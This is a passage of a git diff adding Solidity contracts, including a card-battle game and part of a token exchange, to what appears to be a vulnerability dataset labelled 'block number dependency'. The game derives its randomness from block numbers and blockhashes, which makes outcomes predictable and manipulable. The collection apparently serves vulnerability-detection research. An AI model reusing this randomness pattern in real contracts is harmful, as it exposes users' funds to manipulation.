harvestabledivs(); + require(msg.value >= 1 finney); + require(div > 0); + count = 0; + for(nexId = 0; nexId < totalsigs;nexId++){ + if(Multisigs[nexId].owner == msg.sender){ + count++; + } +} +require(count > totalsigs/2); + claimdivs(); + + ethtosend = div /100; + owner.transfer(ethtosend); + ethtosend = ethtosend * 99; + msg.sender.transfer(ethtosend); + emit onHarvest(msg.sender,ethtosend); +} + +function Expand() public { + + ethtosend = this.balance /100; + owner.transfer(ethtosend); + + buyp3d(this.balance); +} + +function () external payable{} +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/277.sol b/smart_contract_dataset/block number dependency/277.sol new file mode 100644 index 0000000000000000000000000000000000000000..71a4b6dd001fd5593a8e72085a8f338032bb5eab --- /dev/null +++ b/smart_contract_dataset/block number dependency/277.sol @@ -0,0 +1,1133 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + +contract BattleBase is Ownable { + using SafeMath for uint256; + + + + + + event BattleHistory( + uint256 historyId, + uint8 winner, + uint64 battleTime, + uint256 sequence, + uint256 blockNumber, + uint256 tokensGained); + + event BattleHistoryChallenger( + uint256 historyId, + uint256 cardId, + uint8 element, + uint16 level, + uint32 attack, + uint32 defense, + uint32 hp, + uint32 speed, + uint32 criticalRate, + uint256 rank); + + event BattleHistoryDefender( + uint256 historyId, + uint256 cardId, + uint8 element, + uint16 level, + uint32 attack, + uint32 defense, + uint32 hp, + uint32 speed, + uint16 criticalRate, + uint256 rank); + + event RejectChallenge( + uint256 challengerId, + uint256 defenderId, + uint256 defenderRank, + uint8 rejectCode, + uint256 blockNumber); + + event HashUpdated( + uint256 cardId, + uint256 cardHash); + + event LevelUp(uint256 cardId); + + event CardCreated(address owner, uint256 cardId); + + + + + uint32[] expToNextLevelArr = [0,103,103,207,207,207,414,414,414,414,724,724,724,828,828,931,931,1035,1035,1138,1138,1242,1242,1345,1345,1449,1449,1552,1552,1656,1656,1759,1759,1863,1863,1966,1966,2070,2070,2173,2173,2173,2277,2277,2380,2380,2484,2484,2587,2587,2691,2691,2794,2794,2898,2898,3001,3001,3105,3105,3208,3208,3312,3312,3415,3415,3519,3519,3622,3622,3622,3726,3726,3829,3829,3933,3933,4036,4036,4140,4140,4243,4243,4347,4347,4450,4450,4554,4554,4657,4657,4761,4761,4864,4864,4968,4968,5071,5071,5175]; + + uint32[] activeWinExp = [10,11,14,19,26,35,46,59,74,91,100,103,108,116,125,135,146,158,171,185,200,215,231,248,265,283,302,321,341,361,382]; + + + + + + struct Card { + uint8 element; + uint16 level; + uint32 attack; + uint32 defense; + uint32 hp; + uint32 speed; + uint16 criticalRate; + uint32 flexiGems; + uint256 cardHash; + uint32 currentExp; + uint32 expToNextLevel; + uint64 createdDatetime; + + uint256 rank; + + + } + + + mapping (uint256 => Card) public cards; + + uint256[] ranking; + + + mapping (uint256 => uint256) public rankTokens; + + uint8 public currentElement = 0; + + uint256 public historyId = 0; + + + + + HogSmashToken public hogsmashToken; + + + Marketplace public marketplace; + + + uint256 public challengeFee; + + + uint256 public upgradeFee; + + + uint256 public avatarFee; + + + uint256 public referrerFee; + + + uint256 public developerCut; + + uint256 internal totalDeveloperCut; + + + uint256 public cardDrawPrice; + + + uint8 public upgradeGems; + + uint8 public upgradeGemsSpecial; + + uint16 public gemAttackConversion; + + uint16 public gemDefenseConversion; + + uint16 public gemHpConversion; + + uint16 public gemSpeedConversion; + + uint16 public gemCriticalRateConversion; + + + uint8 public goldPercentage; + + + uint8 public silverPercentage; + + + uint32 public eventCardRangeMin; + + + uint32 public eventCardRangeMax; + + + uint8 public maxBattleRounds; + + + uint256 internal totalRankTokens; + + + bool internal battleStart; + + + bool internal starterPackOnSale; + + uint256 public starterPackPrice; + + uint16 public starterPackCardLevel; + + + + + + + function setMarketplaceAddress(address _address) external onlyOwner { + Marketplace candidateContract = Marketplace(_address); + + require(candidateContract.isMarketplace(),"needs to be marketplace"); + + + marketplace = candidateContract; + } + + + function setSettingValues( uint8 _upgradeGems, + uint8 _upgradeGemsSpecial, + uint16 _gemAttackConversion, + uint16 _gemDefenseConversion, + uint16 _gemHpConversion, + uint16 _gemSpeedConversion, + uint16 _gemCriticalRateConversion, + uint8 _goldPercentage, + uint8 _silverPercentage, + uint32 _eventCardRangeMin, + uint32 _eventCardRangeMax, + uint8 _newMaxBattleRounds) external onlyOwner { + require(_eventCardRangeMax >= _eventCardRangeMin, "range max must be larger or equals range min" ); + require(_eventCardRangeMax<100000000, "range max cannot exceed 99999999"); + require((_newMaxBattleRounds <= 128) && (_newMaxBattleRounds >0), "battle rounds must be between 0 and 128"); + upgradeGems = _upgradeGems; + upgradeGemsSpecial = _upgradeGemsSpecial; + gemAttackConversion = _gemAttackConversion; + gemDefenseConversion = _gemDefenseConversion; + gemHpConversion = _gemHpConversion; + gemSpeedConversion = _gemSpeedConversion; + gemCriticalRateConversion = _gemCriticalRateConversion; + goldPercentage = _goldPercentage; + silverPercentage = _silverPercentage; + eventCardRangeMin = _eventCardRangeMin; + eventCardRangeMax = _eventCardRangeMax; + maxBattleRounds = _newMaxBattleRounds; + } + + + + function setStarterPack(uint256 _newStarterPackPrice, uint16 _newStarterPackCardLevel) external onlyOwner { + require(_newStarterPackCardLevel<=20, "starter pack level cannot exceed 20"); + starterPackPrice = _newStarterPackPrice; + starterPackCardLevel = _newStarterPackCardLevel; + } + + + function setStarterPackOnSale(bool _newStarterPackOnSale) external onlyOwner { + starterPackOnSale = _newStarterPackOnSale; + } + + + function setBattleStart(bool _newBattleStart) external onlyOwner { + battleStart = _newBattleStart; + } + + + function setCardDrawPrice(uint256 _newCardDrawPrice) external onlyOwner { + cardDrawPrice = _newCardDrawPrice; + } + + + function setReferrerFee(uint256 _newReferrerFee) external onlyOwner { + referrerFee = _newReferrerFee; + } + + + function setChallengeFee(uint256 _newChallengeFee) external onlyOwner { + challengeFee = _newChallengeFee; + } + + + function setUpgradeFee(uint256 _newUpgradeFee) external onlyOwner { + upgradeFee = _newUpgradeFee; + } + + + function setAvatarFee(uint256 _newAvatarFee) external onlyOwner { + avatarFee = _newAvatarFee; + } + + + function setDeveloperCut(uint256 _newDeveloperCut) external onlyOwner { + developerCut = _newDeveloperCut; + } + + function getTotalDeveloperCut() external view onlyOwner returns (uint256) { + return totalDeveloperCut; + } + + function getTotalRankTokens() external view returns (uint256) { + return totalRankTokens; + } + + + + + + function getSettingValues() external view returns( uint8 _upgradeGems, + uint8 _upgradeGemsSpecial, + uint16 _gemAttackConversion, + uint16 _gemDefenseConversion, + uint16 _gemHpConversion, + uint16 _gemSpeedConversion, + uint16 _gemCriticalRateConversion, + uint8 _maxBattleRounds) + { + _upgradeGems = uint8(upgradeGems); + _upgradeGemsSpecial = uint8(upgradeGemsSpecial); + _gemAttackConversion = uint16(gemAttackConversion); + _gemDefenseConversion = uint16(gemDefenseConversion); + _gemHpConversion = uint16(gemHpConversion); + _gemSpeedConversion = uint16(gemSpeedConversion); + _gemCriticalRateConversion = uint16(gemCriticalRateConversion); + _maxBattleRounds = uint8(maxBattleRounds); + } + + +} + + + +contract Random { + uint private pSeed = block.number; + + function getRandom() internal returns(uint256) { + return (pSeed = uint(keccak256(abi.encodePacked(pSeed, + blockhash(block.number - 1), + blockhash(block.number - 3), + blockhash(block.number - 5), + blockhash(block.number - 7)) + ))); + } +} + + + + +contract Battle is BattleBase, Random, Pausable { + + + + + constructor(address _tokenAddress) public { + HogSmashToken candidateContract = HogSmashToken(_tokenAddress); + + hogsmashToken = candidateContract; + + starterPackPrice = 30000000000000000; + starterPackCardLevel = 5; + starterPackOnSale = true; + + challengeFee = 10000000000000000; + + upgradeFee = 10000000000000000; + + avatarFee = 50000000000000000; + + developerCut = 375; + + referrerFee = 2000; + + cardDrawPrice = 15000000000000000; + + battleStart = true; + + paused = false; + + totalDeveloperCut = 0; + } + + + + + modifier onlyOwnerOf(uint256 _tokenId) { + require(hogsmashToken.ownerOf(_tokenId) == msg.sender, "must be owner of token"); + _; + } + + + + + + function getCard(uint256 _id) external view returns ( + uint256 cardId, + address owner, + uint8 element, + uint16 level, + uint32[] stats, + uint32 currentExp, + uint32 expToNextLevel, + uint256 cardHash, + uint64 createdDatetime, + uint256 rank + ) { + cardId = _id; + + owner = hogsmashToken.ownerOf(_id); + + Card storage card = cards[_id]; + + uint32[] memory tempStats = new uint32[](6); + + element = uint8(card.element); + level = uint16(card.level); + tempStats[0] = uint32(card.attack); + tempStats[1] = uint32(card.defense); + tempStats[2] = uint32(card.hp); + tempStats[3] = uint32(card.speed); + tempStats[4] = uint16(card.criticalRate); + tempStats[5] = uint32(card.flexiGems); + stats = tempStats; + currentExp = uint32(card.currentExp); + expToNextLevel = uint32(card.expToNextLevel); + cardHash = uint256(card.cardHash); + createdDatetime = uint64(card.createdDatetime); + rank = uint256(card.rank); + } + + + + function getCardIdByRank(uint256 _rank) external view returns(uint256 cardId) { + return ranking[_rank]; + } + + + + function draftNewCard() external payable whenNotPaused returns (uint256) { + require(msg.value == cardDrawPrice, "fee must be equal to draw price"); + + require(address(marketplace) != address(0), "marketplace not set"); + + hogsmashToken.setApprovalForAllByContract(msg.sender, marketplace, true); + + totalDeveloperCut = totalDeveloperCut.add(cardDrawPrice); + + return _createCard(msg.sender, 1); + } + + + function draftNewCardWithReferrer(address referrer) external payable whenNotPaused returns (uint256 cardId) { + require(msg.value == cardDrawPrice, "fee must be equal to draw price"); + + require(address(marketplace) != address(0), "marketplace not set"); + + hogsmashToken.setApprovalForAllByContract(msg.sender, marketplace, true); + + cardId = _createCard(msg.sender, 1); + + if ((referrer != address(0)) && (referrerFee!=0) && (referrer!=msg.sender) && (hogsmashToken.balanceOf(referrer)>0)) { + uint256 referrerCut = msg.value.mul(referrerFee)/10000; + require(referrerCut<=msg.value, "referre cut cannot be larger than fee"); + referrer.transfer(referrerCut); + totalDeveloperCut = totalDeveloperCut.add(cardDrawPrice.sub(referrerCut)); + } else { + totalDeveloperCut = totalDeveloperCut.add(cardDrawPrice); + } + } + + + + function levelUp( uint256 _id, + uint16 _attackLevelUp, + uint16 _defenseLevelUp, + uint16 _hpLevelUp, + uint16 _speedLevelUp, + uint16 _criticalRateLevelUp, + uint16 _flexiGemsLevelUp) external payable whenNotPaused onlyOwnerOf(_id) { + require( + _attackLevelUp >= 0 && + _defenseLevelUp >= 0 && + _hpLevelUp >= 0 && + _speedLevelUp >= 0 && + _criticalRateLevelUp >= 0 && + _flexiGemsLevelUp >= 0, "level up attributes must be more than 0" + ); + + require(msg.value == upgradeFee, "fee must be equals to upgrade price"); + + Card storage card = cards[_id]; + require(card.currentExp==card.expToNextLevel, "exp is not max yet for level up"); + + require(card.level < 65535, "card level maximum has reached"); + + require((card.criticalRate + (_criticalRateLevelUp * gemCriticalRateConversion))<=7000, "critical rate max of 70 has reached"); + + uint totalInputGems = _attackLevelUp + _defenseLevelUp + _hpLevelUp; + totalInputGems += _speedLevelUp + _criticalRateLevelUp + _flexiGemsLevelUp; + + uint16 numOfSpecials = 0; + + + if ((card.level > 1) && (card.attack==1) && (card.defense==1) && (card.hp==3) && (card.speed==1) && (card.criticalRate==25) && (card.flexiGems==1)) { + numOfSpecials = (card.level+1)/5; + uint totalGems = (numOfSpecials * upgradeGemsSpecial) + (((card.level) - numOfSpecials) * upgradeGems); + require(totalInputGems==totalGems, "upgrade gems not used up"); + } else { + if (((card.level+1)%5)==0) { + require(totalInputGems==upgradeGemsSpecial, "upgrade gems not used up"); + numOfSpecials = 1; + } else { + require(totalInputGems==upgradeGems, "upgrade gems not used up"); + } + } + + totalDeveloperCut = totalDeveloperCut.add(upgradeFee); + + + _upgradeLevel(_id, _attackLevelUp, _defenseLevelUp, _hpLevelUp, _speedLevelUp, _criticalRateLevelUp, _flexiGemsLevelUp, numOfSpecials); + + emit LevelUp(_id); + } + + function _upgradeLevel( uint256 _id, + uint16 _attackLevelUp, + uint16 _defenseLevelUp, + uint16 _hpLevelUp, + uint16 _speedLevelUp, + uint16 _criticalRateLevelUp, + uint16 _flexiGemsLevelUp, + uint16 numOfSpecials) private { + Card storage card = cards[_id]; + uint16[] memory extraStats = new uint16[](5); + if (numOfSpecials>0) { + if (card.cardHash%100 >= 70) { + uint cardType = (uint(card.cardHash/10000000000))%100; + if (cardType < 20) { + extraStats[0]+=numOfSpecials; + } else if (cardType < 40) { + extraStats[1]+=numOfSpecials; + } else if (cardType < 60) { + extraStats[2]+=numOfSpecials; + } else if (cardType < 80) { + extraStats[3]+=numOfSpecials; + } else { + extraStats[4]+=numOfSpecials; + } + + if (card.cardHash%100 >=90) { + uint cardTypeInner = cardType%10; + if (cardTypeInner < 2) { + extraStats[0]+=numOfSpecials; + } else if (cardTypeInner < 4) { + extraStats[1]+=numOfSpecials; + } else if (cardTypeInner < 6) { + extraStats[2]+=numOfSpecials; + } else if (cardTypeInner < 8) { + extraStats[3]+=numOfSpecials; + } else { + extraStats[4]+=numOfSpecials; + } + } + } + } + card.attack += (_attackLevelUp + extraStats[0]) * gemAttackConversion; + card.defense += (_defenseLevelUp + extraStats[1]) * gemDefenseConversion; + card.hp += (_hpLevelUp + extraStats[2]) * gemHpConversion; + card.speed += (_speedLevelUp + extraStats[3]) * gemSpeedConversion; + card.criticalRate += uint16(_criticalRateLevelUp * gemCriticalRateConversion); + card.flexiGems += _flexiGemsLevelUp + extraStats[4]; + card.level += 1; + + card.currentExp = 0; + + uint256 tempExpLevel = card.level; + if (tempExpLevel > expToNextLevelArr.length) { + tempExpLevel = expToNextLevelArr.length; + } + card.expToNextLevel = expToNextLevelArr[tempExpLevel]; + } + + function max(uint a, uint b) private pure returns (uint) { + return a > b ? a : b; + } + + function challenge( uint256 _challengerCardId, + uint32[5] _statUp, + uint256 _defenderCardId, + uint256 _defenderRank, + uint16 _defenderLevel) external payable whenNotPaused onlyOwnerOf(_challengerCardId) { + require(battleStart != false, "battle has not started"); + require(msg.sender != hogsmashToken.ownerOf(_defenderCardId), "cannot challenge own cards"); + Card storage challenger = cards[_challengerCardId]; + require((_statUp[0] + _statUp[1] + _statUp[2] + _statUp[3] + _statUp[4])==challenger.flexiGems, "flexi gems not used up"); + + Card storage defender = cards[_defenderCardId]; + + if (defender.rank != _defenderRank) { + emit RejectChallenge(_challengerCardId, _defenderCardId, _defenderRank, 1, uint256(block.number)); + (msg.sender).transfer(msg.value); + return; + } + + if (defender.level != _defenderLevel) { + emit RejectChallenge(_challengerCardId, _defenderCardId, _defenderRank, 2, uint256(block.number)); + (msg.sender).transfer(msg.value); + return; + } + + uint256 requiredChallengeFee = challengeFee; + if (defender.rank <150) { + requiredChallengeFee = requiredChallengeFee.mul(2); + } + require(msg.value == requiredChallengeFee, "fee must be equals to challenge price"); + + uint256 developerFee = 0; + if (msg.value > 0) { + developerFee = _calculateFee(msg.value); + } + + uint256[] memory stats = new uint256[](14); + + stats[0] = challenger.attack + (_statUp[0] * gemAttackConversion); + stats[1] = challenger.defense + (_statUp[1] * gemDefenseConversion); + stats[2] = challenger.hp + (_statUp[2] * gemHpConversion); + stats[3] = challenger.speed + (_statUp[3] * gemSpeedConversion); + stats[4] = challenger.criticalRate + (_statUp[4] * gemCriticalRateConversion); + stats[5] = defender.criticalRate; + stats[6] = defender.hp; + stats[8] = challenger.hp + (_statUp[2] * gemHpConversion); + stats[9] = challenger.rank; + stats[10] = defender.rank; + stats[11] = 0; + stats[12] = _challengerCardId; + stats[13] = _defenderCardId; + + + if (stats[4]>7000) { + stats[4] = 7000; + } + + + if (stats[5]>7000) { + stats[5] = 7000; + } + + + if (((challenger.element-1) == defender.element) || ((challenger.element==1) && (defender.element==3)) || ((challenger.element==8) && (defender.element==9))) { + stats[4] += 3000; + if (stats[4]>8000) { + stats[4] = 8000; + } + } + + if (((defender.element-1) == challenger.element) || ((defender.element==1) && (challenger.element==3)) || ((defender.element==8) && (challenger.element==9))) { + stats[5] += 3000; + if (stats[5]>8000) { + stats[5] = 8000; + } + } + + uint256 battleSequence = _simulateBattle(challenger, defender, stats); + + stats[11] = _transferFees(_challengerCardId, stats, developerFee); + + + emit BattleHistory( + historyId, + uint8(stats[7]), + uint64(now), + uint256(battleSequence), + uint256(block.number), + uint256(stats[11]) + ); + + emit BattleHistoryChallenger( + historyId, + uint256(_challengerCardId), + uint8(challenger.element), + uint16(challenger.level), + uint32(stats[0]), + uint32(stats[1]), + uint32(stats[8]), + uint32(stats[3]), + uint16(stats[4]), + uint256(stats[9]) + ); + + emit BattleHistoryDefender( + historyId, + uint256(_defenderCardId), + uint8(defender.element), + uint16(defender.level), + uint32(defender.attack), + uint32(defender.defense), + uint32(defender.hp), + uint32(defender.speed), + uint16(stats[5]), + uint256(stats[10]) + ); + + historyId = historyId.add(1); + } + + function _addBattleSequence(uint8 attackType, uint8 rounds, uint256 battleSequence) private pure returns (uint256) { + + uint256 mask = 0x3; + mask = ~(mask << 2*rounds); + uint256 newSeq = battleSequence & mask; + + newSeq = newSeq | (uint256(attackType) << 2*rounds); + + return newSeq; + } + + + function _simulateBattle(Card storage challenger, Card storage defender, uint[] memory stats) private returns (uint256 battleSequence) { + + bool continueBattle = true; + uint8 currentAttacker = 0; + uint256 tempAttackStrength; + uint8 battleRound = 0; + if (!_isChallengerAttackFirst(stats[3], defender.speed)){ + currentAttacker = 1; + } + while (continueBattle) { + if (currentAttacker==0) { + if (_rollCriticalDice() <= stats[4]){ + tempAttackStrength = stats[0] * 2; + battleSequence = _addBattleSequence(2, battleRound, battleSequence); + } else { + tempAttackStrength = stats[0]; + battleSequence = _addBattleSequence(0, battleRound, battleSequence); + } + if (tempAttackStrength <= defender.defense) { + tempAttackStrength = 1; + } else { + tempAttackStrength -= defender.defense; + } + if (stats[6] <= tempAttackStrength) { + stats[6] = 0; + } else { + stats[6] -= tempAttackStrength; + } + currentAttacker = 1; + } else if (currentAttacker==1) { + if (_rollCriticalDice() <= stats[5]){ + tempAttackStrength = defender.attack * 2; + battleSequence = _addBattleSequence(3, battleRound, battleSequence); + } else { + tempAttackStrength = defender.attack; + battleSequence = _addBattleSequence(1, battleRound, battleSequence); + } + if (tempAttackStrength <= stats[1]) { + tempAttackStrength = 1; + } else { + tempAttackStrength -= stats[1]; + } + if (stats[2] <= tempAttackStrength) { + stats[2] = 0; + } else { + stats[2] -= tempAttackStrength; + } + currentAttacker = 0; + } + battleRound ++; + + if ((battleRound>=maxBattleRounds) || (stats[6]<=0) || (stats[2]<=0)){ + continueBattle = false; + } + } + + uint32 challengerGainExp = 0; + uint32 defenderGainExp = 0; + + + if (challenger.level == defender.level) { + challengerGainExp = activeWinExp[10]; + } else if (challenger.level > defender.level) { + if ((challenger.level - defender.level) >= 11) { + challengerGainExp = 1; + } else { + + challengerGainExp = activeWinExp[10 + defender.level - challenger.level]; + } + } else if (challenger.level < defender.level) { + + uint256 levelDiff = defender.level - challenger.level; + if (levelDiff > 20) { + levelDiff = 20; + } + challengerGainExp = activeWinExp[10+levelDiff]; + } + + if (stats[2] == stats[6]) { + stats[7] = 2; + + } else if (stats[2] > stats[6]) { + stats[7] = 0; + if (defender.rank < challenger.rank) { + ranking[defender.rank] = stats[12]; + ranking[challenger.rank] = stats[13]; + uint256 tempRank = defender.rank; + defender.rank = challenger.rank; + challenger.rank = tempRank; + } + + + + challenger.currentExp += challengerGainExp; + if (challenger.currentExp > challenger.expToNextLevel) { + challenger.currentExp = challenger.expToNextLevel; + } + + + + defenderGainExp = ((challengerGainExp*105/100) + 5)/10; + if (defenderGainExp <= 0) { + defenderGainExp = 1; + } + defender.currentExp += defenderGainExp; + if (defender.currentExp > defender.expToNextLevel) { + defender.currentExp = defender.expToNextLevel; + } + + } else if (stats[6] > stats[2]) { + stats[7] = 1; + + + uint32 tempChallengerGain = challengerGainExp*35/100; + if (tempChallengerGain <= 0) { + tempChallengerGain = 1; + } + challenger.currentExp += tempChallengerGain; + if (challenger.currentExp > challenger.expToNextLevel) { + challenger.currentExp = challenger.expToNextLevel; + } + + + defenderGainExp = challengerGainExp*30/100; + if (defenderGainExp <= 0) { + defenderGainExp = 1; + } + defender.currentExp += defenderGainExp; + if (defender.currentExp > defender.expToNextLevel) { + defender.currentExp = defender.expToNextLevel; + } + } + + return battleSequence; + } + + + + function _transferFees(uint256 _challengerCardId, uint[] stats, uint256 developerFee) private returns (uint256 totalGained) { + totalDeveloperCut = totalDeveloperCut.add(developerFee); + uint256 remainFee = msg.value.sub(developerFee); + totalGained = 0; + if (stats[7] == 1) { + + rankTokens[stats[10]] = rankTokens[stats[10]].add(remainFee); + totalRankTokens = totalRankTokens.add(remainFee); + } else { + address challengerAddress = hogsmashToken.ownerOf(_challengerCardId); + if (stats[7] == 0) { + if (stats[9] > stats[10]) { + + if (rankTokens[stats[10]] > 0) { + totalGained = totalGained.add(rankTokens[stats[10]]); + totalRankTokens = totalRankTokens.sub(rankTokens[stats[10]]); + rankTokens[stats[10]] = 0; + } + + if (rankTokens[stats[9]] > 0) { + totalGained = totalGained.add(rankTokens[stats[9]]); + totalRankTokens = totalRankTokens.sub(rankTokens[stats[9]]); + rankTokens[stats[9]] = 0; + } + } else { + if (stats[9]<50) { + if ((stats[10] < 150) && (rankTokens[stats[10]] > 0)) { + totalGained = totalGained.add(rankTokens[stats[10]]); + totalRankTokens = totalRankTokens.sub(rankTokens[stats[10]]); + rankTokens[stats[10]] = 0; + } + + if ((stats[10] < 150) && (rankTokens[stats[9]] > 0)) { + totalGained = totalGained.add(rankTokens[stats[9]]); + totalRankTokens = totalRankTokens.sub(rankTokens[stats[9]]); + rankTokens[stats[9]] = 0; + } + } + } + challengerAddress.transfer(totalGained.add(remainFee)); + } else { + challengerAddress.transfer(remainFee); + } + } + } + + + function _rollCriticalDice() private returns (uint16 result){ + return uint16((getRandom() % 10000) + 1); + } + + function _isChallengerAttackFirst(uint _challengerSpeed, uint _defenderSpeed ) private returns (bool){ + uint8 randResult = uint8((getRandom() % 100) + 1); + uint challengerChance = (((_challengerSpeed * 10 ** 3) / (_challengerSpeed + _defenderSpeed))+5) / 10; + if (randResult <= challengerChance) { + return true; + } else { + return false; + } + } + + + + function buyStarterPack() external payable whenNotPaused returns (uint256){ + require(starterPackOnSale==true, "starter pack is not on sale"); + require(msg.value==starterPackPrice, "fee must be equals to starter pack price"); + require(address(marketplace) != address(0), "marketplace not set"); + + totalDeveloperCut = totalDeveloperCut.add(starterPackPrice); + + hogsmashToken.setApprovalForAllByContract(msg.sender, marketplace, true); + + return _createCard(msg.sender, starterPackCardLevel); + } + + + function _createCard(address _to, uint16 _initLevel) private returns (uint256) { + require(_to != address(0), "cannot create card for unknown address"); + + currentElement+= 1; + if (currentElement==4) { + currentElement = 8; + } + if (currentElement == 10) { + currentElement = 1; + } + uint256 tempExpLevel = _initLevel; + if (tempExpLevel > expToNextLevelArr.length) { + tempExpLevel = expToNextLevelArr.length; + } + + uint32 tempCurrentExp = 0; + if (_initLevel>1) { + tempCurrentExp = expToNextLevelArr[tempExpLevel]; + } + + uint256 tokenId = hogsmashToken.mint(_to); + + + Card memory _card = Card({ + element: currentElement, + level: _initLevel, + attack: 1, + defense: 1, + hp: 3, + speed: 1, + criticalRate: 25, + flexiGems: 1, + currentExp: tempCurrentExp, + expToNextLevel: expToNextLevelArr[tempExpLevel], + cardHash: generateHash(), + createdDatetime :uint64(now), + rank: tokenId + }); + + cards[tokenId] = _card; + ranking.push(tokenId); + + emit CardCreated(msg.sender, tokenId); + + return tokenId; + } + + function generateHash() private returns (uint256 hash){ + hash = uint256((getRandom()%1000000000000)/10000000000); + hash = hash.mul(10000000000); + + uint256 tempHash = ((getRandom()%(eventCardRangeMax-eventCardRangeMin+1))+eventCardRangeMin)*100; + hash = hash.add(tempHash); + + tempHash = getRandom()%100; + + if (tempHash < goldPercentage) { + hash = hash.add(90); + } else if (tempHash < (goldPercentage+silverPercentage)) { + hash = hash.add(70); + } else { + hash = hash.add(50); + } + } + + + function updateAvatar(uint256 _cardId, uint256 avatarHash) external payable whenNotPaused onlyOwnerOf(_cardId) { + require(msg.value==avatarFee, "fee must be equals to avatar price"); + + Card storage card = cards[_cardId]; + + uint256 tempHash = card.cardHash%1000000000000; + + card.cardHash = tempHash.add(avatarHash.mul(1000000000000)); + + emit HashUpdated(_cardId, card.cardHash); + } + + + + + function _calculateFee(uint256 _challengeFee) internal view returns (uint256) { + return developerCut.mul(_challengeFee/10000); + } + + + + + + function generateInitialCard(uint16 _cardLevel) external whenNotPaused onlyOwner returns (uint256) { + require(address(marketplace) != address(0), "marketplace not set"); + require(_cardLevel<=20, "maximum level cannot exceed 20"); + + hogsmashToken.setApprovalForAllByContract(msg.sender, marketplace, true); + + return _createCard(msg.sender, _cardLevel); + } + + + function distributeTokensToRank(uint[] ranks, uint256 tokensPerRank) external payable onlyOwner { + require(msg.value == (tokensPerRank*ranks.length), "tokens must be enough to distribute among ranks"); + uint i; + for (i=0; i= withdrawalSum) { + totalDeveloperCut = 0; + owner.transfer(withdrawalSum); + } + } +} + + + +interface Marketplace { + function isMarketplace() external returns (bool); +} + +interface HogSmashToken { + function ownerOf(uint256 _tokenId) external view returns (address); + function balanceOf(address _owner) external view returns (uint256); + function tokensOf(address _owner) external view returns (uint256[]); + function mint(address _to) external returns (uint256 _tokenId); + function setTokenURI(uint256 _tokenId, string _uri) external; + function setApprovalForAllByContract(address _sender, address _to, bool _approved) external; +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2805.sol b/smart_contract_dataset/block number dependency/2805.sol new file mode 100644 index 0000000000000000000000000000000000000000..afa3955e54f40daf64a0e1bb36dc53788080eb44 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2805.sol @@ -0,0 +1,311 @@ +pragma solidity ^0.4.9; + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function assert(bool assertion) internal { + if (!assertion) throw; + } +} + +contract Token { + + function totalSupply() constant returns (uint256 supply) {} + + + + function balanceOf(address _owner) constant returns (uint256 balance) {} + + + + + + function transfer(address _to, uint256 _value) returns (bool success) {} + + + + + + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} + + + + + + function approve(address _spender, uint256 _value) returns (bool success) {} + + + + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + + uint public decimals; + string public name; +} + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + + + + if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { + + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { return false; } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { + + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { return false; } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping(address => uint256) balances; + + mapping (address => mapping (address => uint256)) allowed; + + uint256 public totalSupply; +} + +contract ReserveToken is StandardToken, SafeMath { + address public minter; + function ReserveToken() { + minter = msg.sender; + } + function create(address account, uint amount) { + if (msg.sender != minter) throw; + balances[account] = safeAdd(balances[account], amount); + totalSupply = safeAdd(totalSupply, amount); + } + function destroy(address account, uint amount) { + if (msg.sender != minter) throw; + if (balances[account] < amount) throw; + balances[account] = safeSub(balances[account], amount); + totalSupply = safeSub(totalSupply, amount); + } +} + +contract AccountLevels { + + + + + function accountLevel(address user) constant returns(uint) {} +} + +contract AccountLevelsTest is AccountLevels { + mapping (address => uint) public accountLevels; + + function setAccountLevel(address user, uint level) { + accountLevels[user] = level; + } + + function accountLevel(address user) constant returns(uint) { + return accountLevels[user]; + } +} + +contract AZExchange is SafeMath { + address public admin; + address public feeAccount; + address public accountLevelsAddr; + uint public feeMake; + uint public feeTake; + uint public feeRebate; + mapping (address => mapping (address => uint)) public tokens; + mapping (address => mapping (bytes32 => bool)) public orders; + mapping (address => mapping (bytes32 => uint)) public orderFills; + + event Order(address 